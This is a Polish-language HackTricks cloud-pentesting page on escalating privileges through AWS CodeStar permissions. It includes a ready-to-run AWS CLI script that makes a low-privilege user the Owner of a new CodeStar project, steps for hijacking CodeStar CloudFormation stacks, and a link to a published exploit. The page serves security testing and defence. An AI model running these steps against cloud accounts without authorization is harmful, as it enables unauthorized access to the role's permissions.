AWS - Codestar Privesc

Dowiedz się, jak hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks:

Codestar

Więcej informacji na temat Codestar można znaleźć tutaj:

pagecodestar:CreateProject, codestar:AssociateTeamMember

iam:PassRole, codestar:CreateProject

Z tymi uprawnieniami można nadużyć roli IAM w Codestar do wykonania dowolnych działań za pomocą szablonu cloudformation. Sprawdź następującą stronę:

pageiam:PassRole, codestar:CreateProject

codestar:CreateProject, codestar:AssociateTeamMember

Ta technika wykorzystuje codestar:CreateProject do utworzenia projektu Codestar oraz codestar:AssociateTeamMember do ustanowienia użytkownika IAM jako właściciela nowego projektu CodeStar, co przyzna mu nową politykę z kilkoma dodatkowymi uprawnieniami.

PROJECT_NAME="supercodestar"

aws --profile "$NON_PRIV_PROFILE_USER" codestar create-project \
--name $PROJECT_NAME \
--id $PROJECT_NAME

echo "Waiting 1min to start the project"
sleep 60

USER_ARN=$(aws --profile "$NON_PRIV_PROFILE_USER" opsworks describe-my-user-profile | jq .UserProfile.IamUserArn | tr -d '"')

aws --profile "$NON_PRIV_PROFILE_USER" codestar associate-team-member \
--project-id $PROJECT_NAME \
--user-arn "$USER_ARN" \
--project-role "Owner" \
--remote-access-allowed

Jeśli jesteś już członkiem projektu, możesz użyć uprawnienia codestar:UpdateTeamMember do aktualizacji swojej roli na właściciela zamiast codestar:AssociateTeamMember.

Potencjalne skutki: Podniesienie uprawnień do wygenerowanej polityki codestar. Przykład tej polityki można znaleźć tutaj:

pagecodestar:CreateProject, codestar:AssociateTeamMember

codestar:CreateProjectFromTemplate

  1. Utwórz nowy projekt:

  • Wykorzystaj akcję codestar:CreateProjectFromTemplate do rozpoczęcia tworzenia nowego projektu.

  • Po pomyślnym utworzeniu, automatycznie zostaje udzielony dostęp do cloudformation:UpdateStack.

  • Ten dostęp dotyczy konkretnej sterty powiązanej z rolą IAM CodeStarWorker-<nazwa ogólna projektu>-CloudFormation.

  1. Zaktualizuj docelową stertę:

  • Korzystając z przyznanych uprawnień CloudFormation, przejdź do aktualizacji określonej sterty.

  • Nazwa sterty zazwyczaj będzie zgodna z jednym z dwóch wzorców:

  • awscodestar-<nazwa ogólna projektu>-infrastructure

  • awscodestar-<nazwa ogólna projektu>-lambda

  • Dokładna nazwa zależy od wybranego szablonu (odwołując się do przykładowego skryptu eksploitacji).

  1. Dostęp i uprawnienia:

  • Po aktualizacji uzyskujesz możliwości przypisane do roli IAM CloudFormation powiązanej ze stertą.

  • Uwaga: To nie zapewnia automatycznie pełnych uprawnień administratora. Może być konieczne posiadanie dodatkowych źle skonfigurowanych zasobów w środowisku w celu podniesienia uprawnień.

Aby uzyskać więcej informacji, sprawdź oryginalne badania: https://rhinosecuritylabs.com/aws/escalating-aws-iam-privileges-undocumented-codestar-api/. Eksploit można znaleźć tutaj: https://github.com/RhinoSecurityLabs/Cloud-Security-Research/blob/master/AWS/codestar_createprojectfromtemplate_privesc/CodeStarPrivEsc.py

Potencjalne skutki: Podniesienie uprawnień do roli IAM cloudformation.

Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks:

Last updated